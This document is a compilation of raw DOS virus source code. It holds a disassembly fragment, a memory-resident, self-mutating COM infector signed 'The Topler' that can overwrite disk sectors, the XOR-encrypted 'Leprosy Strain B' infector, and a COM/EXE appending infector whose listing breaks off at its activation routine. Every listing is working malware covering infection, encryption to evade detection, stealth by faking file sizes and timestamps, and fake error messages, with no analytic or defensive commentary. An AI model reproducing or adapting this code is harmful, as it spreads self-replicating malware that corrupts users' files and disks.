- 0000:05EC 59 POP CX
- 0000:05ED 5B POP BX
- 0000:05EE 58 POP AX
- 0000:05EF 9D POPF
- 0000:05F0 2EFF2E1700 JMP CS:[Y0017H]
- 0000:05F5 0000 X05F5: ADD [BX+SI],AL
- 0000:05F7 0000 ADD [BX+SI],AL
- 0000:05F9 0000 ADD [BX+SI],AL
- 0000:05FB 0000 ADD [BX+SI],AL
- 0000:05FD 0000 ADD [BX+SI],AL
- 0000:05FF 004D00 ADD [DI+00H],CL
- 0000:0602 000F ADD [BX],CL
- 0000:0604 0000 ADD [BX+SI],AL
- 0000:0606 0000 ADD [BX+SI],AL
-
- "JV.MOC" PAGE 0012
-
- 0000:0608 0000 ADD [BX+SI],AL
- 0000:060A 0000 ADD [BX+SI],AL
- 0000:060C 0000 ADD [BX+SI],AL
- 0000:060E 0000 ADD [BX+SI],AL
- 0000:0610 CD20 INT 020H
- 0000:0612 00A0009A ADD [BX+SI+Y09A00H],AH
- 0000:0616 F0FE1D LOCK CALL [DI] ; NOT VALID
- 0000:0619 F02F LOCK DAS
- 0000:061B 018E1E3C ADD [BP+Y03C1EH],CX
- 0000:061F 018E1EEB ADD [BP+Y0EB1EH],CX
- 0000:0623 048E ADD AL,08EH
- 0000:0625 1E PUSH DS
- 0000:0626 8E1EFFFF MOV DS,[Y0FFFFH]
- 0000:062A FFFF ??? DI
- 0000:062C FFFF ??? DI
- 0000:062E FFFF ??? DI
- 0000:0630 FFFF ??? DI
- 0000:0632 FFFF ??? DI
- 0000:0634 FFFF ??? DI
- 0000:0636 FFFF ??? DI
- 0000:0638 FFFF ??? DI
- 0000:063A FFFF ??? DI
- 0000:063C 7C1F JL X065D
- 0000:063E DE3E8D29 ESC 037H,[Y0298DH]
- 0000:0642 1400 ADC AL,00H
- 0000:0644 1800 SBB [BX+SI],AL
- 0000:0646 F1 DB 0F1H
- 0000:0647 1F POP DS
- 0000:0648 FFFF ??? DI
- 0000:064A FFFF ??? DI
- 0000:064C 0000 ADD [BX+SI],AL
- 0000:064E 0000 ADD [BX+SI],AL
- 0000:0650 0000 ADD [BX+SI],AL
- 0000:0652 0000 ADD [BX+SI],AL
- 0000:0654 0000 ADD [BX+SI],AL
- 0000:0656 0000 ADD [BX+SI],AL
- 0000:0658 0000 ADD [BX+SI],AL
- 0000:065A 0000 ADD [BX+SI],AL
- 0000:065C 0000 ADD [BX+SI],AL
- 0000:065E 0000 ADD [BX+SI],AL
- 0000:0660 CD21 INT 021H
- 0000:0662 CB RET ; INTERSEGMENT
- 0000:0663 0000 X0663: ADD [BX+SI],AL
- 0000:0665 0000 ADD [BX+SI],AL
- 0000:0667 0000 ADD [BX+SI],AL
- 0000:0669 0000 ADD [BX+SI],AL
- 0000:066B 0000 ADD [BX+SI],AL
- 0000:066D 2020 AND [BX+SI],AH
- 0000:066F 2020 AND [BX+SI],AH
- 0000:0671 2020 AND [BX+SI],AH
- 0000:0673 2020 AND [BX+SI],AH
- 0000:0675 2020 AND [BX+SI],AH
- 0000:0677 2000 AND [BX+SI],AL
- 0000:0679 0000 ADD [BX+SI],AL
- 0000:067B 0000 ADD [BX+SI],AL
- 0000:067D 2020 AND [BX+SI],AH
-
- "JV.MOC" PAGE 0013
-
- 0000:067F 2020 AND [BX+SI],AH
- 0000:0681 2020 AND [BX+SI],AH
- 0000:0683 2020 AND [BX+SI],AH
- 0000:0685 2020 AND [BX+SI],AH
- 0000:0687 2000 AND [BX+SI],AL
- 0000:0689 0000 ADD [BX+SI],AL
- 0000:068B 0000 ADD [BX+SI],AL
- 0000:068D 0000 ADD [BX+SI],AL
- 0000:068F 0000 ADD [BX+SI],AL
- 0000:0691 0D6B6F OR AX,06F6BH
- 0000:0694 6465 JZ X06FB
- 0000:0696 6572 JNZ X070A
- 0000:0698 7A2E JPE X06C8
- 0000:069A 6578 JNZ X0714
- 0000:069C 6520 JNZ X06BE
- 0000:069E 613A JNO X06DA
- 0000:06A0 6B6F JPO X0711
- 0000:06A2 6465 JZ X0709
- 0000:06A4 6572 JNZ X0718
- 0000:06A6 2E6578 JNZ X0721
- 0000:06A9 650D JNZ X06B8
- 0000:06AB 0000 ADD [BX+SI],AL
- 0000:06AD 0000 ADD [BX+SI],AL
- 0000:06AF 0000 ADD [BX+SI],AL
- 0000:06B1 0000 ADD [BX+SI],AL
- 0000:06B3 0000 ADD [BX+SI],AL
- 0000:06B5 0000 ADD [BX+SI],AL
- 0000:06B7 0000 ADD [BX+SI],AL
- 0000:06B9 0000 ADD [BX+SI],AL
- 0000:06BB 0000 ADD [BX+SI],AL
- 0000:06BD 0000 ADD [BX+SI],AL
- 0000:06BF 0000 ADD [BX+SI],AL
- 0000:06C1 0000 ADD [BX+SI],AL
- 0000:06C3 0000 ADD [BX+SI],AL
- 0000:06C5 0000 ADD [BX+SI],AL
- 0000:06C7 0000 ADD [BX+SI],AL
- 0000:06C9 0000 ADD [BX+SI],AL
- 0000:06CB 0000 ADD [BX+SI],AL
- 0000:06CD 0000 ADD [BX+SI],AL
- 0000:06CF 0000 ADD [BX+SI],AL
- 0000:06D1 0000 ADD [BX+SI],AL
- 0000:06D3 0000 ADD [BX+SI],AL
- 0000:06D5 0000 ADD [BX+SI],AL
- 0000:06D7 0000 ADD [BX+SI],AL
- 0000:06D9 005718 ADD [BX+018H],DL
- 0000:06DC 0825 OR [DI],AH
- 0000:06DE A5 MOVSW
- 0000:06DF FEC5 INC CH
- 0000:06E1 07 POP ES
- 0000:06E2 1E PUSH DS
- 0000:06E3 0210 ADD DL,[BX+SI]
- 0000:06E5 07 POP ES
- 0000:06E6 57 PUSH DI
- 0000:06E7 18B10D47 SBB [BX+DI+Y0470DH],DH
- 0000:06EB 0104 ADD [SI],AX
- 0000:06ED 7F70 JG X075F
-
- "JV.MOC" PAGE 0014
-
- 0000:06EF 0010 ADD [BX+SI],DL
- 0000:06F1 07 POP ES
- 0000:06F2 1D001C SBB AX,01C00H
- 0000:06F5 09A20D3D OR [BP+SI+Y03D0DH],SP
- 0000:06F9 0C1B OR AL,01BH
- 0000:06FB 02B10D02 X06FB: ADD DH,[BX+DI+Y020DH]
- 0000:06FF F24D REPNE DEC BP
- 0000:0701 360E PUSH CS
- 0000:0703 0300 ADD AX,[BX+SI]
- 0000:0705 0000 ADD [BX+SI],AL
- 0000:0707 00EE ADD DH,CH
- 0000:0709 002A X0709: ADD [BP+SI],CH
- 0000:070B 0F POP CS
- 0000:070C 42 INC DX
- 0000:070D 01C1 ADD CX,AX
- 0000:070F 0DB44C OR AX,04CB4H
- 0000:0712 B000 MOV AL,00H
- 0000:0714 CD21 X0714: INT 021H
- 0000:0716 4D DEC BP
- 0000:0717 7344 JAE X075D
- 0000:0719 6F73 JG X078E
-
- done
-
- code segment
- assume cs:code
- org 100h
-
- start:
- jmp begin
-
- org 200h
- begin:
- jmp short beg
-
- FileSize dw 0E00h; 02h
- int21vec dd 0 ; 04h
- oldint13 dd 0 ; 08h
- oldint24 dd 0 ; 0Ch
- Date dw 0 ; 10h
- Time dw 0 ; 12h
- db 1 ; 14h
- version dw 0 ; 15h - mutation status
-
- beg:
- call codenext
- codenext:
- pop si
- mutation1:
- cli
- push ds
- pop es
- mov bp,sp
- mov sp,si
- add sp,3FEh-(offset codenext-offset begin)
- mutation2:
- mov cx,ss
- mov ax,cs
- mov ss,ax
- pop bx
- dec sp
- dec sp
- add si,offset mybeg-offset codenext
- codeloop:
- pop ax
- xor al,bh
- push ax
- dec sp
- cmp sp,si
- jnc codeloop
- mybeg:
- mov ax,es
- dec ax
- mov ds,ax
- add word ptr ds:[3],-082h
- mov bx,ds:[3]
- mov byte ptr ds:[0],5ah
- inc ax
- inc bx
- add bx,ax
- mov es,bx
- mov ss,cx
- add si,offset begin-offset mybeg
- mov bx,ds
- mov ds,ax
- mov sp,bp
- push si
- xor di,di
- mov cx,400h
- cld
- rep movsb
- pop si
- push bx
- mov bx,offset inblock-offset begin
- push es
- push bx
- retf
- inblock:
- mov es,ax
- mov ax,cs:[2] ; File Size
- add ax,100h
- mov di,si
- mov si,ax
- mov cx,400h
- rep movsb
- pop es
- xor ax,ax
- mov ds,ax
- sti
- cmp word ptr ds:[21h*4],offset int21-offset begin
- jne count
- sub word ptr es:[3],-082h
- test byte ptr ds:[46ch],11100111b
- jnz efect1
- push cs
- pop ds
- mov si,offset msg-offset begin
- efect2:
- lodsb
- or al,0
- jz efect3
- mov ah,0eh
- int 10h
- jmp short efect2
- efect3:
- mov ah,32h
- xor dl,dl
- int 21h
- jc efect1
- call setaddr
- call setint
- mov dx,ds:[bx+10h]
- mov ah,19h
- int 21h
- mov cx,2
- int 26h
- pop bx
- call setint
- efect1:
- jmp quit
- count:
- add word ptr es:[12h],-082h
- mov bx,ds:[46ch]
- push ds
- push cs
- pop ds
- push cs
- pop es
- mov byte ptr ds:[14h],1
- and bh,80h
- mov ds:[4ffh],bh
- test bl,00000001b
- jnz mut1
- mov si,offset mutation1-offset begin
- add si,ds:[15h]
- lodsb
- xchg al,ds:[si]
- mov ds:[si-1],al
- mut1:
- test bl,00000010b
- jnz mut2
- mov si,offset mutation2-offset begin
- add si,ds:[15h]
- lodsw
- xchg ax,ds:[si]
- mov ds:[si-2],ax
- mut2:
- test bl,00000100b
- jnz mut3
- mov si,offset codeloop-offset begin
- mov al,2
- xor byte ptr ds:[si],al
- xor byte ptr ds:[si+2],al
- xor byte ptr ds:[si+3],al
- mut3:
- test bl,00001000b
- jnz mut4
- mov si,offset codenext-offset begin
- mov di,400h
- mov cx,offset codeloop-offset codenext-2
- push si
- push di
- lodsb
- cmp al,5eh
- je jmp1
- inc si
- jmp1:
- push cx
- rep movsb
- pop cx
- pop si
- pop di
- cmp al,5eh
- je jmp2
- mov al,5Eh
- stosb
- rep movsb
- mov al,90h
- stosb
- xor ax,ax
- jmp short jmp3
- jmp2:
- mov ax,0C68Fh
- stosw
- rep movsb
- mov ax,1
- jmp3:
- mov cs:[15h],ax
- mut4:
- mov ah,30h
- int 21h
- cmp ax,1e03h
- jne nodos33
- mov ah,34h
- int 21h
- mov bx,1460h
- jmp short dos33
- nodos33:
- mov ax,3521h
- int 21h
- dos33:
- mov ds:[4],bx
- mov ds:[6],es
- mov si,21h*4
- pop ds
- push si
- push cs
- pop es
- mov di,offset intend-offset begin+1
- movsw
- movsw
- pop di
- push ds
- pop es
- mov ax,offset int21-offset begin
- stosw
- mov ax,cs
- stosw
- mov di,offset mybeg-offset begin
- mov al,cs:[3ffh]
- coderloop:
- xor cs:[di],al
- inc di
- cmp di,offset coderloop-offset begin
- jc coderloop
- quit:
- mov ah,62h
- int 21h
- push bx
- mov ds,bx
- mov es,bx
- mov ax,100h
- push ax
- retf
- ;------------------------------------------------------------------------------
- infect:
- push si
- push ds
- push es
- push di
- cld
- push cs
- pop ds
- xor dx,dx
- call movefp
- mov dx,400h
- mov ah,3fh
- mov cx,3
- call Dos
- jc infect4
- xor di,di
- mov ax,word ptr ds:[400h]
- mov cx,ds:[0]
- cmp cx,ax
- je infect8
- cmp al,0EBH ; near jmp
- jne infect1
- mov al,ah
- xor ah,ah
- add ax,2
- mov di,ax
- infect1:
- cmp al,0E9h ; far jmp
- jne infect2
- mov ax,ds:[401h]
- add ax,3
- mov di,ax
- xor ax,ax
- infect2:
- cmp ax,'MZ'
- je infect4
- cmp ax,'ZM'
- jne infect3
- infect4:
- stc
- infect8:
- jmp infectquit
- infect3:
- mov dx,di
- push cx
- call movefp
- mov dx,400h
- mov ah,3fh
- mov cx,dx
- call Dos
- pop cx
- jc infect4
- cmp ds:[400h],cx
- je infect8
- mov ax,di
- sub ah,-4
- cmp ax,ds:[2]
- jnc infect4
- mov dx,ds:[2]
- call movefp
- mov dx,400h
- mov cx,dx
- mov ah,40h
- call Dos
- infect6:
- jc infectquit
- mov dx,di
- call movefp
- push cs
- pop es
- mov di,400h
- push di
- push di
- xor si,si
- mov cx,di
- rep movsb
- mov si,400h+offset coderloop-offset begin
- mov al,ds:[7ffh]
- infect5:
- xor ds:[si],al
- inc si
- cmp si,07ffh
- jc infect5
- pop cx
- pop dx
- mov ah,40h
- call Dos
- infectquit:
- pop di
- pop es
- pop ds
- pop si
- ret
- int21:
- cmp ax,4b00h
- je exec
- cmp ah,3eh
- je close
- cmp ah,11h
- je dir
- cmp ah,12h
- je dir
- intend:
- db 0eah,0,0,0,0
-
- dir:
- push si
- mov si,offset intend-offset begin+1
- pushf
- call dword ptr cs:[si]
- pop si
- push ax
- push bx
- push es
- mov ah,2fh
- call dos
- cmp byte ptr es:[bx],0ffh
- jne dir2
- add bx,7
- dir2:
- mov ax,es:[bx+17h]
- and ax,1fh
- cmp ax,1eh
- jne dir1
- mov ax,es:[bx+1dh]
- cmp ax,0801h
- jc dir1
- sub ax,400h
- mov es:[bx+1dh],ax
- dir1:
- pop es
- pop bx
- pop ax
- iret
- int24:
- mov al,3
- iret
- Dos:
- pushf
- call dword ptr cs:[4]
- ret
- moveFP:
- xor cx,cx
- mov ax,4200h
- call Dos
- ret
- exec:
- push ax
- push bx
- mov byte ptr cs:[14h],0
- mov ax,3d00h
- call dos
- mov bx,ax
- mov ah,3eh
- int 21h
- pop bx
- pop ax
- intendjmp:
- jmp short intend
- close:
- or byte ptr cs:[14h],0
- jnz intendjmp
- push cx
- push dx
- push di
- push es
- push ax
- push bx
- call setaddr
- call setint
- mov ax,1220h
- int 2fh
- jc closequit
- mov ax,1216h
- mov bl,es:[di]
- xor bh,bh
- int 2fh
- mov ax,es:[di+11h]
- mov cs:[2],ax
- mov ax,es:[di+0dh]
- and al,0f8h
- mov cs:[12h],ax
- mov ax,es:[di+0fh]
- mov cs:[10h],ax
- cmp word ptr es:[di+29h],'MO'
- jne closequit
- cmp byte ptr es:[di+28h],'C'
- jne closequit
- cmp cs:[2],0FA00h
- jnc closequit
- mov al,20h
- xchg al,es:[di+4]
- mov ah,2
- xchg es:[di+2],ah
- pop bx
- push bx
- push ax
- call infect
- pop ax
- mov es:[di+4],al
- mov es:[di+2],ah
- mov cx,cs:[12h]
- jc close1
- or cl,1fh
- and cl,0feh
- close1:
- mov dx,cs:[10h]
- mov ax,5701h
- call Dos
- closequit:
- pop bx
- pop ax
- pop es
- pop di
- pop dx
- pop cx
- call dos
- call setint
- retf 02
- setaddr:
- mov ah,13h
- int 2fh
- mov cs:[8d],bx
- mov cs:[10d],es
- int 2fh
- mov cs:[12d],offset int24-offset begin
- mov cs:[14d],cs
- ret
- setint:
- push ax
- push si
- push ds
- pushf
- cli
- cld
- xor ax,ax
- mov ds,ax
- mov si,13h*4
- lodsw
- xchg ax,cs:[8]
- mov ds:[si-2],ax
- lodsw
- xchg ax,cs:[10d]
- mov ds:[si-2],ax
- mov si,24h*4
- lodsw
- xchg ax,cs:[12d]
- mov ds:[si-2],ax
- lodsw
- xchg ax,cs:[14d]
- mov ds:[si-2],ax
- popf
- pop ds
- pop si
- pop ax
- ret
- msg:
- db 'The leech live ...',0
- db 'April 1991 The Topler.',0
-
- org 0F00h
-
- int 20h
-
- code ends
- end start
-
-
- done
-
- cr equ 13 ; Carriage return ASCII code
- lf equ 10 ; Linefeed ASCII code
- tab equ 9 ; Tab ASCII code
- virus_size equ 666 ; Size of the virus file
- code_start equ 100h ; Address right after PSP in memory
- dta equ 80h ; Addr of default disk transfer area
- datestamp equ 24 ; Offset in DTA of file's date stamp
- timestamp equ 22 ; Offset in DTA of file's time stamp
- filename equ 30 ; Offset in DTA of ASCIIZ filename
- attribute equ 21 ; Offset in DTA of file attribute
-
-
- code segment 'code' ; Open code segment
- assume cs:code,ds:code ; One segment for both code & data
- org code_start ; Start code image after PSP
-
- ;---------------------------------------------------------------------
- ; All executable code is contained in boundaries of procedure "main".
- ; The following code, until the start of "virus_code", is the non-
- ; encrypted CMT portion of the code to load up the real program.
- ;---------------------------------------------------------------------
- main proc near ; Code execution begins here
- call encrypt_decrypt ; Decrypt the real virus code
- jmp random_mutation ; Put the virus into action
-
- encrypt_val db 00h ; Hold value to encrypt by here
-
- ; ---------- Encrypt, save, and restore the virus code -----------
- infect_file:
- mov bx,handle ; Get the handle
- push bx ; Save it on the stack
- call encrypt_decrypt ; Encrypt most of the code
- pop bx ; Get back the handle
- mov cx,virus_size ; Total number of bytes to write
- mov dx,code_start ; Buffer where code starts in memory
- mov ah,40h ; DOS write-to-handle service
- int 21h ; Write the virus code into the file
- call encrypt_decrypt ; Restore the code as it was
- ret ; Go back to where you came from
-
- ; --------------- Encrypt or decrypt the virus code ----------------
- encrypt_decrypt:
- mov bx,offset virus_code ; Get address to start encrypt/decrypt
- xor_loop: ; Start cycle here
- mov ah,[bx] ; Get the current byte
- xor ah,encrypt_val ; Engage/disengage XOR scheme on it
- mov [bx],ah ; Put it back where we got it
- inc bx ; Move BX ahead a byte
- cmp bx,offset virus_code+virus_size ; Are we at the end?
- jle xor_loop ; If not, do another cycle
- ret ; and go back where we came from
-
- ;-----------------------------------------------------------------------
- ; The rest of the code from here on remains encrypted until run-time,
- ; using a fundamental XOR technique that changes via CMT.
- ;-----------------------------------------------------------------------
- virus_code:
-
- ;----------------------------------------------------------------------------
- ; All strings are kept here in the file, and automatically encrypted.
- ; Please don't be a lamer and change the strings and say you wrote a virus.
- ; Because of Cybernetic Mutation Technology(tm), the CRC of this file often
- ; changes, even when the strings stay the same.
- ;----------------------------------------------------------------------------
- exe_filespec db "*.EXE",0
- com_filespec db "*.COM",0
- newdir db "..",0
- fake_msg db cr,lf,"Program too big to fit in memory$"
- virus_msg1 db cr,lf,tab,"ATTENTION! Your computer has been afflicted with$"
- virus_msg2 db cr,lf,tab,"the incurable decay that is the fate wrought by$"
- virus_msg3 db cr,lf,tab,"Leprosy Strain B, a virus employing Cybernetic$"
- virus_msg4 db cr,lf,tab,"Mutation Technology(tm) and invented by PCM2 08/90.$"
- compare_buf db 20 dup (?) ; Buffer to compare files in
- files_found db ?
- files_infected db ?
- orig_time dw ?
- orig_date dw ?
- orig_attr dw ?
- handle dw ?
- success db ?
-
- random_mutation: ; First decide if virus is to mutate
- mov ah,2ch ; Set up DOS function to get time
- int 21h
- cmp encrypt_val,0 ; Is this a first-run virus copy?
- je install_val ; If so, install whatever you get.
- cmp dh,15 ; Is it less than 16 seconds?
- jg find_extension ; If not, don't mutate this time
- install_val:
- cmp dl,0 ; Will we be encrypting using zero?
- je random_mutation ; If so, get a new value.
- mov encrypt_val,dl ; Otherwise, save the new value
- find_extension: ; Locate file w/ valid extension
- mov files_found,0 ; Count infected files found
- mov files_infected,4 ; BX counts file infected so far
- mov success,0
- find_exe:
- mov cx,00100111b ; Look for all flat file attributes
- mov dx,offset exe_filespec ; Check for .EXE extension first
- mov ah,4eh ; Call DOS find first service
- int 21h
- cmp ax,12h ; Are no files found?
- je find_com ; If not, nothing more to do
- call find_healthy ; Otherwise, try to find healthy .EXE
- find_com:
- mov cx,00100111b ; Look for all flat file attributes
- mov dx,offset com_filespec ; Check for .COM extension now
- mov ah,4eh ; Call DOS find first service
- int 21h
- cmp ax,12h ; Are no files found?
- je chdir ; If not, step back a directory
- call find_healthy ; Otherwise, try to find healthy .COM
- chdir: ; Routine to step back one level
- mov dx,offset newdir ; Load DX with address of pathname
- mov ah,3bh ; Change directory DOS service
- int 21h
- dec files_infected ; This counts as infecting a file
- jnz find_exe ; If we're still rolling, find another
- jmp exit_virus ; Otherwise let's pack it up
- find_healthy:
- mov bx,dta ; Point BX to address of DTA
- mov ax,[bx]+attribute ; Get the current file's attribute
- mov orig_attr,ax ; Save it
- mov ax,[bx]+timestamp ; Get the current file's time stamp
- mov orig_time,ax ; Save it
- mov ax,[bx]+datestamp ; Get the current file's data stamp
- mov orig_date,ax ; Save it
- mov dx,dta+filename ; Get the filename to change attribute
- mov cx,0 ; Clear all attribute bytes
- mov al,1 ; Set attribute sub-function
- mov ah,43h ; Call DOS service to do it
- int 21h
- mov al,2 ; Set up to open handle for read/write
- mov ah,3dh ; Open file handle DOS service
- int 21h
- mov handle,ax ; Save the file handle
- mov bx,ax ; Transfer the handle to BX for read
- mov cx,20 ; Read in the top 20 bytes of file
- mov dx,offset compare_buf ; Use the small buffer up top
- mov ah,3fh ; DOS read-from-handle service
- int 21h
- mov bx,offset compare_buf ; Adjust the encryption value
- mov ah,encrypt_val ; for accurate comparison
- mov [bx+6],ah
- mov si,code_start ; One array to compare is this file
- mov di,offset compare_buf ; The other array is the buffer
- mov ax,ds ; Transfer the DS register...
- mov es,ax ; ...to the ES register
- cld
- repe cmpsb ; Compare the buffer to the virus
- jne healthy ; If different, the file is healthy!
- call close_file ; Close it up otherwise
- inc files_found ; Chalk up another fucked up file
- continue_search:
- mov ah,4fh ; Find next DOS function
- int 21h ; Try to find another same type file
- cmp ax,12h ; Are there any more files?
- je no_more_found ; If not, get outta here
- jmp find_healthy ; If so, try the process on this one!
- no_more_found:
- ret ; Go back to where we came from
- healthy:
- mov bx,handle ; Get the file handle
- mov ah,3eh ; Close it for now
- int 21h
- mov ah,3dh ; Open it again, to reset it
- mov dx,dta+filename
- mov al,2
- int 21h
- mov handle,ax ; Save the handle again
- call infect_file ; Infect the healthy file
- call close_file ; Close down this operation
- inc success ; Indicate we did something this time
- dec files_infected ; Scratch off another file on agenda
- jz exit_virus ; If we're through, terminate
- jmp continue_search ; Otherwise, try another
- ret
- close_file:
- mov bx,handle ; Get the file handle off the stack
- mov cx,orig_time ; Get the date stamp
- mov dx,orig_date ; Get the time stamp
- mov al,1 ; Set file date/time sub-service
- mov ah,57h ; Get/Set file date and time service
- int 21h ; Call DOS
- mov bx,handle
- mov ah,3eh ; Close handle DOS service
- int 21h
- mov cx,orig_attr ; Get the file's original attribute
- mov al,1 ; Instruct DOS to put it back there
- mov dx,dta+filename ; Feed it the filename
- mov ah,43h ; Call DOS
- int 21h
- ret
- exit_virus:
- cmp files_found,6 ; Are at least 6 files infected?
- jl print_fake ; If not, keep a low profile
- cmp success,0 ; Did we infect anything?
- jg print_fake ; If so, cover it up
- mov ah,09h ; Use DOS print string service
- mov dx,offset virus_msg1 ; Load the address of the first line
- int 21h ; Print it
- mov dx,offset virus_msg2 ; Load the second line
- int 21h ; (etc)
- mov dx,offset virus_msg3
- int 21h
- mov dx,offset virus_msg4
- int 21h
- jmp terminate
- print_fake:
- mov ah,09h ; Use DOS to print fake error message
- mov dx,offset fake_msg
- int 21h
- terminate:
- mov ah,4ch ; DOS terminate process function
- int 21h ; Call DOS to get out of this program
-
- filler db 8 dup (90h) ; Pad out the file length to 666 bytes
-
- main endp
- code ends
- end main
-
- done
-
- Code Segment Public 'Code'
- Assume CS:Code
- Org 100h ; All .COM files start here
-
- ID = 'AB' ; Id for infected files
- MaxFiles = 3 ; Max number of file to infect
-
- Start:
- db 0e9h,2,0 ; Jump to the next command
- dw id ; So this file doesnt get infected
-
- Virus:
- call realcode ; Push current location on stack
-
- Realcode:
- pop bp ; Get location off stack
- nop
- nop
- nop
- sub bp,offset realcode ; Adjust it for our pointer
- nop
- nop
- call encrypt_decrypt ; Decrypt the virus first
-
- Encrypt_Start equ $ ; From here is encrypted
-
- cmp sp,id ; Is this file a COM or EXE?
- je restoreEXE ; Its an EXE so restore it
-
- lea si,[bp+offset oldjump] ; Location of old jump in si
- mov di,100h ; Restore new jump to 100h
- push di ; Save so we could just return when done
- movsb ; Move a byte
- movsw ; Move a word
- movsw ; Move another word
- jmp exitrestore
-
- RestoreEXE:
- push ds ; Save ExE ds
- push es ; Save ExE es
- push cs
- pop ds ; DS now equals CS
- push cs
- pop es ; ES now equals CS
-
- lea si,[bp+jmpsave2]
- lea di,[bp+jmpsave]
- movsw ; Move a word
- movsw ; Move a word
- movsw ; Move a word
- movsw ; Move a word
-
- ExitRestore:
- lea dx,[bp+offset dta] ; Where to put New DTA
- call set_DTA ; Move it
-
- mov [bp+counter],byte ptr 0 ; Clear counter
- mov ax,3524h ; Get int 24 handler
- int 21h ; It gets put in ES:BX
- mov word ptr [bp+oldint24],bx ; Save it
- mov word ptr [bp+oldint24+2],es
-
- mov ah,25h ; Set new int 24 handler
- lea dx,[bp+offset int24] ; Loc of new one in DS:DX
- int 21h
-
- push cs ; Restore ES
- pop es ; 'cuz it was changed
-
- mov ah,47h ; Get the current directory
- mov dl,0h ; On current drive
- lea si,[bp+offset currentdir] ; Where to keep it
- int 21h
-
- DirLoop:
- lea dx,[bp+offset exefilespec] ; Files to look for
- call findfirst
- lea dx,[bp+offset comfilespec] ; Files to look for
- call findfirst
-
- lea dx,[bp+offset directory] ; Where to change too '..'
- mov ah,3bh ; Change directory
- int 21h
- jnc dirloop ; If no problems the look for files
-
- call activate ; Call the activation routine
-
- mov ax,2524h ; Restore int 24 handler
- lds dx,[bp+offset oldint24] ; To original
- int 21h
-
- push cs
- pop ds ; Do this because the DS gets changed
-
- lea dx,[bp+offset currentdir] ; Location Of original dir
- mov ah,3bh ; Change to there
- int 21h
-
- mov dx,80h ; Location of original DTA
- call set_dta ; Put it back there
-
- cmp sp,id-4 ; Is this file an EXE or COM?
- jz returnEXE ; Its an EXE!
-
- retn ; Return to 100h (original jump)
-
- ReturnEXE:
- pop es ; Get original ES
- pop ds ; Get original DS
-
- mov ax,es
- add ax,10h
- add word ptr cs:[bp+jmpsave+2],ax
- add ax,word ptr cs:[bp+stacksave+2]
- cli ; Clear int's because of stack manipulation
- mov sp,word ptr cs:[bp+stacksave]
- mov ss,ax
- sti
- db 0eah ; Jump ssss:oooo
- jmpsave dd ? ; Jump location
- stacksave dd ? ; Original cs:ip
- jmpsave2 dd 0fff00000h
- stacksave2 dd ?
-
- FindFirst:
- cmp [bp+counter],maxfiles ; Have we infected Too many
- ja quit ; Yup
-
- mov ah,4eh ; Find first file
- mov cx,7 ; Find all attributes
-
- FindNext:
- int 21h ; Find first/next file int
- jc quit ; If none found then change dir
-
- call infection ; Infect that file
-
- FindNext2:
- mov ah,4fh ; Find next file
- jmp findnext ; Jump to the loop
-
- Quit:
- ret
-
- Infection:
- mov ax,3d00h ; Open file for read only
- call open
-
- mov ah,3fh ; Read from file
- mov cx,1ah ; Number of bytes
- lea dx,[bp+offset buffer] ; Location to store them
- int 21h
-
- mov ah,3eh ; Close file
- int 21h
-
- mov ax,word ptr [bp+DTA+1Ah] ; Get filesize from DTA
- cmp ax,64000 ; Is the file too large?
- ja quitinfect ; file to large so getanother
-
- cmp ax,600 ; Is the file too small?
- jb quitinfect ; file to small so getanother
-
- cmp word ptr [bp+buffer],'ZM' ; Is file found an EXE?
- jz checkEXE ; Yup so check it
- mov ax,word ptr [bp+DTA+35] ; Get end of file name in ax
- cmp ax,'DN' ; Does it end in 'ND'?
- jz quitinfect ; Yup so get another file
-
- CheckCom:
- mov bx,word ptr [bp+offset dta+1ah] ; Get file size
- cmp word ptr cs:[bp+buffer+3],id ; Check for ID
- je quitinfect
-
- jmp infectcom
-
- CheckExe:
- cmp word ptr [bp+buffer+10h],id ; Check EXE for infection
- jz quitinfect ; Already infected so close up
- jmp infectexe
-
- QuitInfect:
- ret
-
- InfectCom:
- sub bx,3 ; Adjust for new jump
- lea si,[bp+buffer] ; Move the old jump first
- lea di,[bp+oldjump]
- movsb
- movsw
- movsw
- mov [bp+buffer],byte ptr 0e9h ; Setup new jump
- mov word ptr [bp+buffer+1],bx ; Save new jump
-
- mov word ptr [bp+buffer+3],id ; Put in ID
- mov cx,5 ; Number of bytes to write
-
- jmp finishinfection
- InfectExe:
- les ax,dword ptr [bp+buffer+14h] ; Load es with seg address
- mov word ptr [bp+jmpsave2],ax ; save old cs:ip
- mov word ptr [bp+jmpsave2+2],es
-
- les ax,dword ptr [bp+buffer+0eh] ; save old ss:sp
- mov word ptr [bp+stacksave2],es ; save old cs:ip
- mov word ptr [bp+stacksave2+2],ax
-
- mov ax, word ptr [bp+buffer+8] ; get header size
- mov cl,4
- shl ax,cl
- xchg ax,bx
- les ax,[bp+offset DTA+26] ; get files size from dta
- mov dx,es ; its now in dx:ax
- push ax ; save these
- push dx
-
- sub ax,bx ; subtract header size from fsize
- sbb dx,0 ; subtract the carry too
- mov cx,10h ; convert to segment:offset form
- div cx
-
- mov word ptr [bp+buffer+14h],dx ; put in new header
- mov word ptr [bp+buffer+16h],ax ; cs:ip
-
- mov word ptr [bp+buffer+0eh],ax ; ss:sp
- mov word ptr [bp+buffer+10h],id ; put id in for later
- pop dx ; get the file length back
- pop ax
-
- add ax,eof-virus ; add virus size
- adc dx,0 ; add with carry
-
- mov cl,9 ; calculates new file size
- push ax
- shr ax,cl
- ror dx,cl
- stc
- adc dx,ax
- pop ax
- and ah,1
-
- mov word ptr [bp+buffer+4],dx ; save new file size in header
- mov word ptr [bp+buffer+2],ax
-
- push cs ; es = cs
- pop es
-
- mov cx,1ah ; Size of EXE header
- FinishInfection:
- push cx ; save # of bytes to write
- xor cx,cx ; Set attriutes to none
- call attributes
-
- mov al,2 ; open file read/write
- call open
-
- mov ah,40h ; Write to file
- lea dx,[bp+buffer] ; Location of bytes
- pop cx ; Get number of bytes to write
- int 21h
- jc closefile
-
- mov al,02 ; Move Fpointer to eof
- Call move_fp
-
- get_time:
- mov ah,2ch ; Get time for encryption value
- int 21h
- cmp dh,0 ; If its seconds are zero get another
- je get_time
- mov [bp+enc_value],dh ; Use seconds value for encryption
-
- call encrypt_infect ; Encrypt and infect the file
-
- inc [bp+counter] ; Increment the counter
-
- CloseFile:
- mov ax,5701h ; Set files date/time back
- mov cx,word ptr [bp+dta+16h] ; Get old time from dta
- mov dx,word ptr [bp+dta+18h] ; Get old date
- int 21h
-
- mov ah,3eh ; Close file
- int 21h
-
- xor cx,cx
- mov cl,byte ptr [bp+dta+15h] ; Get old Attributes
- call attributes
-
- retn
-
- Activate:
- mov ah,2ah ; Get current date
- int 21h
-
